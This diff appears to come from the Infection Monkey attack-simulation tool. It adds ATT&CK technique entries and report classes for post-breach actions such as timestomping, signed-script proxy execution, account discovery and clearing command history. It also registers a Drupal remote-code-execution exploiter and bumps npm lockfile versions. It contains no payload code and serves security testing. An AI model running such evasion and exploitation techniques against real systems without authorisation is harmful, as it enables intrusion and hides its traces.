||||||
|
@ -185,6 +194,24 @@ SCHEMA = {
|
||||||
"necessary": True,
|
"necessary": True,
|
||||||
"link": "https://attack.mitre.org/techniques/T1222",
|
"link": "https://attack.mitre.org/techniques/T1222",
|
||||||
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
|
"description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
|
||||||
|
},
|
||||||
|
"T1099": {
|
||||||
|
"title": "Timestomping",
|
||||||
|
"type": "bool",
|
||||||
|
"value": True,
|
||||||
|
"necessary": False,
|
||||||
|
"link": "https://attack.mitre.org/techniques/T1099",
|
||||||
|
"description": "Adversaries may modify file time attributes to hide new/changes to existing "
|
||||||
|
"files to avoid attention from forensic investigators or file analysis tools."
|
||||||
|
},
|
||||||
|
"T1216": {
|
||||||
|
"title": "Signed script proxy execution",
|
||||||
|
"type": "bool",
|
||||||
|
"value": False,
|
||||||
|
"necessary": False,
|
||||||
|
"link": "https://attack.mitre.org/techniques/T1216",
|
||||||
|
"description": "Adversaries may use scripts signed with trusted certificates to "
|
||||||
|
"proxy execution of malicious files on Windows systems."
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -234,6 +261,16 @@ SCHEMA = {
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"link": "https://attack.mitre.org/tactics/TA0007/",
|
"link": "https://attack.mitre.org/tactics/TA0007/",
|
||||||
"properties": {
|
"properties": {
|
||||||
|
"T1087": {
|
||||||
|
"title": "Account Discovery",
|
||||||
|
"type": "bool",
|
||||||
|
"value": True,
|
||||||
|
"necessary": False,
|
||||||
|
"link": "https://attack.mitre.org/techniques/T1087",
|
||||||
|
"description": "Adversaries may attempt to get a listing of accounts on a system or "
|
||||||
|
"within an environment. This information can help adversaries determine which "
|
||||||
|
"accounts exist to aid in follow-on behavior."
|
||||||
|
},
|
||||||
"T1018": {
|
"T1018": {
|
||||||
"title": "Remote System Discovery",
|
"title": "Remote System Discovery",
|
||||||
"type": "bool",
|
"type": "bool",
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY
|
||||||
|
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
|
||||||
|
PostBreachTechnique
|
||||||
|
|
||||||
|
__author__ = "shreyamalviya"
|
||||||
|
|
||||||
|
|
||||||
|
class T1087(PostBreachTechnique):
|
||||||
|
tech_id = "T1087"
|
||||||
|
unscanned_msg = "Monkey didn't try to get a listing of user accounts."
|
||||||
|
scanned_msg = "Monkey tried to get a listing of user accounts but failed to do so."
|
||||||
|
used_msg = "Monkey got a listing of user accounts successfully."
|
||||||
|
pba_names = [POST_BREACH_ACCOUNT_DISCOVERY]
|
|
@ -0,0 +1,13 @@
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
|
||||||
|
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
|
||||||
|
PostBreachTechnique
|
||||||
|
|
||||||
|
__author__ = "shreyamalviya"
|
||||||
|
|
||||||
|
|
||||||
|
class T1099(PostBreachTechnique):
|
||||||
|
tech_id = "T1099"
|
||||||
|
unscanned_msg = "Monkey didn't try changing any file's time attributes."
|
||||||
|
scanned_msg = "Monkey tried changing a file's time attributes but failed."
|
||||||
|
used_msg = "Monkey successfully changed a file's time attributes."
|
||||||
|
pba_names = [POST_BREACH_TIMESTOMPING]
|
|
@ -0,0 +1,22 @@
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY
|
||||||
|
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
|
||||||
|
PostBreachTechnique
|
||||||
|
|
||||||
|
__author__ = "shreyamalviya"
|
||||||
|
|
||||||
|
|
||||||
|
class T1146(PostBreachTechnique):
|
||||||
|
tech_id = "T1146"
|
||||||
|
unscanned_msg = "Monkey didn't try clearing the command history since it didn't run on any Linux machines."
|
||||||
|
scanned_msg = "Monkey tried clearing the command history but failed."
|
||||||
|
used_msg = "Monkey successfully cleared the command history (and then restored it back)."
|
||||||
|
pba_names = [POST_BREACH_CLEAR_CMD_HISTORY]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_pba_query(*args):
|
||||||
|
return [{'$match': {'telem_category': 'post_breach',
|
||||||
|
'data.name': POST_BREACH_CLEAR_CMD_HISTORY}},
|
||||||
|
{'$project': {'_id': 0,
|
||||||
|
'machine': {'hostname': {'$arrayElemAt': ['$data.hostname', 0]},
|
||||||
|
'ips': [{'$arrayElemAt': ['$data.ip', 0]}]},
|
||||||
|
'result': '$data.result'}}]
|
|
@ -0,0 +1,21 @@
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC
|
||||||
|
from monkey_island.cc.services.attack.technique_reports.pba_technique import \
|
||||||
|
PostBreachTechnique
|
||||||
|
|
||||||
|
__author__ = "shreyamalviya"
|
||||||
|
|
||||||
|
|
||||||
|
class T1216(PostBreachTechnique):
|
||||||
|
tech_id = "T1216"
|
||||||
|
unscanned_msg = "Monkey didn't attempt to execute an arbitrary program with the help of a " +\
|
||||||
|
"pre-existing signed script since it didn't run on any Windows machines. " +\
|
||||||
|
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
|
||||||
|
"bypass application control and signature validation on systems."
|
||||||
|
scanned_msg = "Monkey attempted to execute an arbitrary program with the help of a " +\
|
||||||
|
"pre-existing signed script on Windows but failed. " +\
|
||||||
|
"If successful, this behavior could be abused by adversaries to execute malicious files that could " +\
|
||||||
|
"bypass application control and signature validation on systems."
|
||||||
|
used_msg = "Monkey executed an arbitrary program with the help of a pre-existing signed script on Windows. " +\
|
||||||
|
"This behavior could be abused by adversaries to execute malicious files that could " +\
|
||||||
|
"bypass application control and signature validation on systems."
|
||||||
|
pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC]
|
|
@ -217,7 +217,8 @@ class ConfigService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def set_server_ips_in_config(config):
|
def set_server_ips_in_config(config):
|
||||||
ips = local_ip_addresses()
|
ips = local_ip_addresses()
|
||||||
config["internal"]["island_server"]["command_servers"] = ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
|
config["internal"]["island_server"]["command_servers"] = \
|
||||||
|
["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
|
||||||
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
|
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -26,7 +26,8 @@ BASIC = {
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter",
|
||||||
"VSFTPDExploiter",
|
"VSFTPDExploiter",
|
||||||
"MSSQLExploiter"
|
"MSSQLExploiter",
|
||||||
|
"DrupalExploiter"
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -125,6 +125,16 @@ EXPLOITER_CLASSES = {
|
||||||
"info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
|
"info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
|
||||||
"Logic based on Metasploit module.",
|
"Logic based on Metasploit module.",
|
||||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"DrupalExploiter"
|
||||||
|
],
|
||||||
|
"title": "Drupal Exploiter",
|
||||||
|
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
|
||||||
|
"for which certain modules (such as RESTful Web Services) are enabled.",
|
||||||
|
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -70,6 +70,43 @@ POST_BREACH_ACTIONS = {
|
||||||
"title": "Job scheduling",
|
"title": "Job scheduling",
|
||||||
"info": "Attempts to create a scheduled job on the system and remove it.",
|
"info": "Attempts to create a scheduled job on the system and remove it.",
|
||||||
"attack_techniques": ["T1168", "T1053"]
|
"attack_techniques": ["T1168", "T1053"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Timestomping"
|
||||||
|
],
|
||||||
|
"title": "Timestomping",
|
||||||
|
"info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.",
|
||||||
|
"attack_techniques": ["T1099"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"SignedScriptProxyExecution"
|
||||||
|
],
|
||||||
|
"title": "Signed script proxy execution",
|
||||||
|
"info": "On Windows systems, attemps to execute an arbitrary file "
|
||||||
|
"with the help of a pre-existing signed script.",
|
||||||
|
"attack_techniques": ["T1216"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"AccountDiscovery"
|
||||||
|
],
|
||||||
|
"title": "Account Discovery",
|
||||||
|
"info": "Attempts to get a listing of user accounts on the system.",
|
||||||
|
"attack_techniques": ["T1087"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"ClearCommandHistory"
|
||||||
|
],
|
||||||
|
"title": "Clear command history",
|
||||||
|
"info": "Attempts to clear the command history.",
|
||||||
|
"attack_techniques": ["T1146"]
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -67,7 +67,9 @@ MONKEY = {
|
||||||
"HiddenFiles",
|
"HiddenFiles",
|
||||||
"TrapCommand",
|
"TrapCommand",
|
||||||
"ChangeSetuidSetgid",
|
"ChangeSetuidSetgid",
|
||||||
"ScheduleJobs"
|
"ScheduleJobs",
|
||||||
|
"Timestomping",
|
||||||
|
"AccountDiscovery"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
|
|
||||||
from monkey_island.cc.models.edge import Edge
|
|
||||||
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
|
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
|
||||||
from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
|
from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
|
||||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||||
|
|
|
@ -1,7 +1,6 @@
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
|
|
||||||
from monkey_island.cc.models import Monkey
|
from monkey_island.cc.models import Monkey
|
||||||
from monkey_island.cc.models.edge import Edge
|
|
||||||
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
|
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
|
||||||
from monkey_island.cc.services.edge.edge import EdgeService
|
from monkey_island.cc.services.edge.edge import EdgeService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
|
|
|
@ -3,13 +3,11 @@ from datetime import datetime, timedelta
|
||||||
from typing import Dict
|
from typing import Dict
|
||||||
|
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
from mongoengine import DoesNotExist
|
|
||||||
|
|
||||||
import monkey_island.cc.services.log
|
import monkey_island.cc.services.log
|
||||||
from monkey_island.cc import models
|
from monkey_island.cc import models
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
from monkey_island.cc.models import Monkey
|
from monkey_island.cc.models import Monkey
|
||||||
from monkey_island.cc.models.edge import Edge
|
|
||||||
from monkey_island.cc.network_utils import is_local_ips, local_ip_addresses
|
from monkey_island.cc.network_utils import is_local_ips, local_ip_addresses
|
||||||
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
|
from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
|
||||||
from monkey_island.cc.services.edge.edge import EdgeService
|
from monkey_island.cc.services.edge.edge import EdgeService
|
||||||
|
|
|
@ -299,7 +299,7 @@ class AWSExporter(Exporter):
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
"network.",
|
"network.",
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
|
recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
|
||||||
"the WMI protocol with user {username} and its password.".format(
|
"the WMI protocol with user {username} and its password.".format(
|
||||||
machine=issue['machine'],
|
machine=issue['machine'],
|
||||||
ip_address=issue['ip_address'],
|
ip_address=issue['ip_address'],
|
||||||
|
@ -316,7 +316,7 @@ class AWSExporter(Exporter):
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
|
||||||
"network.".format(issue['username']),
|
"network.".format(issue['username']),
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
|
recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
|
||||||
"pass-the-hash attack over WMI protocol with user {username}".format(
|
"pass-the-hash attack over WMI protocol with user {username}".format(
|
||||||
machine=issue['machine'],
|
machine=issue['machine'],
|
||||||
ip_address=issue['ip_address'],
|
ip_address=issue['ip_address'],
|
||||||
|
|
|
@ -43,7 +43,8 @@ class ReportService:
|
||||||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||||
'MSSQLExploiter': 'MSSQL Exploiter',
|
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||||
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
|
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
|
||||||
|
'DrupalExploiter': 'Drupal Server Exploiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -61,6 +62,7 @@ class ReportService:
|
||||||
PTH_CRIT_SERVICES_ACCESS = 11
|
PTH_CRIT_SERVICES_ACCESS = 11
|
||||||
MSSQL = 12
|
MSSQL = 12
|
||||||
VSFTPD = 13
|
VSFTPD = 13
|
||||||
|
DRUPAL = 14
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -355,6 +357,12 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'mssql'
|
processed_exploit['type'] = 'mssql'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_drupal_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'drupal'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_exploit(exploit):
|
def process_exploit(exploit):
|
||||||
exploiter_type = exploit['data']['exploiter']
|
exploiter_type = exploit['data']['exploiter']
|
||||||
|
@ -370,7 +378,8 @@ class ReportService:
|
||||||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||||
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||||
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
|
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
|
||||||
|
'DrupalExploiter': ReportService.process_drupal_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -666,6 +675,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
|
||||||
elif issue['type'] == 'hadoop':
|
elif issue['type'] == 'hadoop':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||||
|
elif issue['type'] == 'drupal':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
|
|
|
@ -4,7 +4,6 @@ import dateutil
|
||||||
|
|
||||||
from monkey_island.cc.encryptor import encryptor
|
from monkey_island.cc.encryptor import encryptor
|
||||||
from monkey_island.cc.models import Monkey
|
from monkey_island.cc.models import Monkey
|
||||||
from monkey_island.cc.models.edge import Edge
|
|
||||||
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
from monkey_island.cc.services.edge.displayed_edge import EdgeService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.services.telemetry.processing.utils import \
|
from monkey_island.cc.services.telemetry.processing.utils import \
|
||||||
|
|
|
@ -1310,14 +1310,14 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@sindresorhus/is": {
|
"@sindresorhus/is": {
|
||||||
"version": "3.1.0",
|
"version": "3.1.2",
|
||||||
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz",
|
||||||
"integrity": "sha512-n4J+zu52VdY43kdi/XdI9DzuMr1Mur8zFL5ZRG2opCans9aiFwkPxHYFEb5Xgy7n1Z4K6WfI4FpqUqsh3E8BPQ=="
|
"integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ=="
|
||||||
},
|
},
|
||||||
"@snyk/cli-interface": {
|
"@snyk/cli-interface": {
|
||||||
"version": "2.8.0",
|
"version": "2.8.1",
|
||||||
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz",
|
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.1.tgz",
|
||||||
"integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==",
|
"integrity": "sha512-pALcfgoY0hAavy/pBlDIqEu+FFC5m+D4bMnCwlQ26mObL/zzxp2+Ohx+HykCIom62u2J94SzAtRLFdm/2TgoOw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@snyk/dep-graph": "1.19.0",
|
"@snyk/dep-graph": "1.19.0",
|
||||||
"@snyk/graphlib": "2.1.9-patch",
|
"@snyk/graphlib": "2.1.9-patch",
|
||||||
|
@ -1550,9 +1550,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@snyk/java-call-graph-builder": {
|
"@snyk/java-call-graph-builder": {
|
||||||
"version": "1.10.0",
|
"version": "1.13.1",
|
||||||
"resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.10.0.tgz",
|
"resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz",
|
||||||
"integrity": "sha512-x3vKElHJRsPjlMBRACeD6kHtki54ffahYeAm4ny5epVpxm16/OT6f6AjNjPuX8DbxcauaD7wqirtc62OPH3YqA==",
|
"integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@snyk/graphlib": "2.1.9-patch",
|
"@snyk/graphlib": "2.1.9-patch",
|
||||||
"ci-info": "^2.0.0",
|
"ci-info": "^2.0.0",
|
||||||
|
@ -1593,16 +1593,6 @@
|
||||||
"integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==",
|
"integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"event-loop-spinner": "^2.0.0"
|
"event-loop-spinner": "^2.0.0"
|
||||||
},
|
|
||||||
"dependencies": {
|
|
||||||
"event-loop-spinner": {
|
|
||||||
"version": "2.0.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
|
|
||||||
"integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
|
|
||||||
"requires": {
|
|
||||||
"tslib": "^1.10.0"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@snyk/ruby-semver": {
|
"@snyk/ruby-semver": {
|
||||||
|
@ -1729,12 +1719,14 @@
|
||||||
"@types/events": {
|
"@types/events": {
|
||||||
"version": "3.0.0",
|
"version": "3.0.0",
|
||||||
"resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
|
"resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
|
||||||
"integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g=="
|
"integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==",
|
||||||
|
"dev": true
|
||||||
},
|
},
|
||||||
"@types/glob": {
|
"@types/glob": {
|
||||||
"version": "7.1.1",
|
"version": "7.1.1",
|
||||||
"resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
|
"resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
|
||||||
"integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
|
"integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
|
||||||
|
"dev": true,
|
||||||
"requires": {
|
"requires": {
|
||||||
"@types/events": "*",
|
"@types/events": "*",
|
||||||
"@types/minimatch": "*",
|
"@types/minimatch": "*",
|
||||||
|
@ -1782,7 +1774,8 @@
|
||||||
"@types/minimatch": {
|
"@types/minimatch": {
|
||||||
"version": "3.0.3",
|
"version": "3.0.3",
|
||||||
"resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
|
"resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
|
||||||
"integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA=="
|
"integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==",
|
||||||
|
"dev": true
|
||||||
},
|
},
|
||||||
"@types/minimist": {
|
"@types/minimist": {
|
||||||
"version": "1.2.0",
|
"version": "1.2.0",
|
||||||
|
@ -2056,26 +2049,27 @@
|
||||||
"dev": true
|
"dev": true
|
||||||
},
|
},
|
||||||
"@yarnpkg/core": {
|
"@yarnpkg/core": {
|
||||||
"version": "2.1.1",
|
"version": "2.2.2",
|
||||||
"resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.1.1.tgz",
|
"resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz",
|
||||||
"integrity": "sha512-qeBxz8nHjKAbGTP2ZcXBnXGfM7+cN0A73mIai/24uru1ayvCIgfjWL1uIj/MM+m+K5lJX0Dcn94ZBHWits9JWQ==",
|
"integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@arcanis/slice-ansi": "^1.0.2",
|
"@arcanis/slice-ansi": "^1.0.2",
|
||||||
"@yarnpkg/fslib": "^2.1.0",
|
"@yarnpkg/fslib": "^2.2.1",
|
||||||
"@yarnpkg/json-proxy": "^2.1.0",
|
"@yarnpkg/json-proxy": "^2.1.0",
|
||||||
"@yarnpkg/libzip": "^2.1.0",
|
"@yarnpkg/libzip": "^2.2.0",
|
||||||
"@yarnpkg/parsers": "^2.1.0",
|
"@yarnpkg/parsers": "^2.2.0",
|
||||||
"@yarnpkg/pnp": "^2.1.0",
|
"@yarnpkg/pnp": "^2.2.1",
|
||||||
"@yarnpkg/shell": "^2.1.0",
|
"@yarnpkg/shell": "^2.2.0",
|
||||||
"camelcase": "^5.3.1",
|
"camelcase": "^5.3.1",
|
||||||
"chalk": "^3.0.0",
|
"chalk": "^3.0.0",
|
||||||
"ci-info": "^2.0.0",
|
"ci-info": "^2.0.0",
|
||||||
"clipanion": "^2.4.2",
|
"clipanion": "^2.4.4",
|
||||||
"cross-spawn": "7.0.3",
|
"cross-spawn": "7.0.3",
|
||||||
"diff": "^4.0.1",
|
"diff": "^4.0.1",
|
||||||
"globby": "^10.0.1",
|
"globby": "^11.0.1",
|
||||||
"got": "^11.1.3",
|
"got": "^11.1.3",
|
||||||
"json-file-plus": "^3.3.1",
|
"json-file-plus": "^3.3.1",
|
||||||
|
"lodash": "^4.17.15",
|
||||||
"logic-solver": "^2.0.1",
|
"logic-solver": "^2.0.1",
|
||||||
"micromatch": "^4.0.2",
|
"micromatch": "^4.0.2",
|
||||||
"mkdirp": "^0.5.1",
|
"mkdirp": "^0.5.1",
|
||||||
|
@ -2084,7 +2078,7 @@
|
||||||
"pretty-bytes": "^5.1.0",
|
"pretty-bytes": "^5.1.0",
|
||||||
"semver": "^7.1.2",
|
"semver": "^7.1.2",
|
||||||
"stream-to-promise": "^2.2.0",
|
"stream-to-promise": "^2.2.0",
|
||||||
"tar": "^4.4.6",
|
"tar-stream": "^2.0.1",
|
||||||
"tslib": "^1.13.0",
|
"tslib": "^1.13.0",
|
||||||
"tunnel": "^0.0.6"
|
"tunnel": "^0.0.6"
|
||||||
},
|
},
|
||||||
|
@ -2152,17 +2146,15 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"globby": {
|
"globby": {
|
||||||
"version": "10.0.2",
|
"version": "11.0.1",
|
||||||
"resolved": "https://registry.npmjs.org/globby/-/globby-10.0.2.tgz",
|
"resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz",
|
||||||
"integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==",
|
"integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@types/glob": "^7.1.1",
|
|
||||||
"array-union": "^2.1.0",
|
"array-union": "^2.1.0",
|
||||||
"dir-glob": "^3.0.1",
|
"dir-glob": "^3.0.1",
|
||||||
"fast-glob": "^3.0.3",
|
"fast-glob": "^3.1.1",
|
||||||
"glob": "^7.1.3",
|
"ignore": "^5.1.4",
|
||||||
"ignore": "^5.1.1",
|
"merge2": "^1.3.0",
|
||||||
"merge2": "^1.2.3",
|
|
||||||
"slash": "^3.0.0"
|
"slash": "^3.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
